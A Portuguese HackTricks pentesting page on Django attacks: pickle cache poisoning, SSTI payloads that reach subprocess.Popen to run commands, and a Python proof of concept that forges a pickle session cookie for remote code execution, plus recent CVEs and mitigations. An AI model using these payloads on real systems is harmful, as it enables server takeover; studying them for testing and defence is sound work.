Django
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Manipulação de Cache para RCE
O método de armazenamento de cache padrão do Django é Python pickles, que pode levar a RCE se entrada não confiável for descompactada. Se um atacante conseguir obter acesso de gravação ao cache, ele pode escalar essa vulnerabilidade para RCE no servidor subjacente.
O cache do Django é armazenado em um dos quatro lugares: Redis, memória, arquivos, ou um banco de dados. O cache armazenado em um servidor Redis ou banco de dados são os vetores de ataque mais prováveis (injeção Redis e injeção SQL), mas um atacante também pode ser capaz de usar cache baseado em arquivo para transformar uma gravação arbitrária em RCE. Os mantenedores marcaram isso como um não problema. É importante notar que a pasta de arquivos de cache, o nome da tabela SQL e os detalhes do servidor Redis variarão com base na implementação.
Este relatório do HackerOne fornece um ótimo exemplo reproduzível de exploração do cache do Django armazenado em um banco de dados SQLite: https://hackerone.com/reports/1415436
Injeção de Template do Lado do Servidor (SSTI)
A Linguagem de Template do Django (DTL) é Turing-completa. Se dados fornecidos pelo usuário forem renderizados como uma string de template (por exemplo, chamando Template(user_input).render()
ou quando |safe
/format_html()
remove a auto-escapagem), um atacante pode alcançar SSTI total → RCE.
Detecção
- Procure por chamadas dinâmicas para
Template()
/Engine.from_string()
/render_to_string()
que incluam qualquer dado de solicitação não sanitizado. - Envie uma carga útil baseada em tempo ou aritmética:
{{7*7}}
Se a saída renderizada contiver 49
, a entrada é compilada pelo mecanismo de template.
Primitiva para RCE
O Django bloqueia o acesso direto a __import__
, mas o gráfico de objetos Python é acessível:
{{''.__class__.mro()[1].__subclasses__()}}
Encontre o índice de subprocess.Popen
(≈400–500 dependendo da versão do Python) e execute comandos arbitrários:
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
Um dispositivo universal mais seguro é iterar até cls.__name__ == 'Popen'
.
O mesmo dispositivo funciona para recursos de renderização de Debug Toolbar ou Django-CMS que manipulam mal a entrada do usuário.
RCE de Cookie de Sessão Baseado em Pickle
Se a configuração SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
estiver habilitada (ou um serializador personalizado que desserializa pickle), o Django descriptografa e desempacota o cookie de sessão antes de chamar qualquer código de visualização. Portanto, possuir uma chave de assinatura válida (a SECRET_KEY
do projeto por padrão) é suficiente para execução remota imediata de código.
Requisitos para Exploração
- O servidor usa
PickleSerializer
. - O atacante conhece / pode adivinhar
settings.SECRET_KEY
(vazamentos via GitHub,.env
, páginas de erro, etc.).
Prova de Conceito
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
Envie o cookie resultante, e o payload é executado com as permissões do trabalhador WSGI.
Mitigações: Mantenha o JSONSerializer
padrão, gire o SECRET_KEY
e configure SESSION_COOKIE_HTTPONLY
.
Recentes (2023-2025) CVEs de Alto Impacto do Django que os Pentesters Devem Verificar
- CVE-2025-48432 – Injeção de Log via
request.path
não escapado (corrigido em 4 de junho de 2025). Permite que atacantes insiram quebras de linha/códigos ANSI em arquivos de log e envenenem a análise de log a jusante. Nível de patch ≥ 4.2.22 / 5.1.10 / 5.2.2. - CVE-2024-42005 – Injeção SQL crítica em
QuerySet.values()/values_list()
noJSONField
(CVSS 9.8). Crie chaves JSON para sair da citação e executar SQL arbitrário. Corrigido em 4.2.15 / 5.0.8.
Sempre identifique a versão exata do framework via a página de erro X-Frame-Options
ou o hash de /static/admin/css/base.css
e teste o acima onde aplicável.
Referências
- Lançamento de segurança do Django – "Django 5.2.2, 5.1.10, 4.2.22 abordam CVE-2025-48432" – 4 de junho de 2025.
- OP-Innovate: "Django lança atualizações de segurança para abordar falha de injeção SQL CVE-2024-42005" – 11 de agosto de 2024.
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.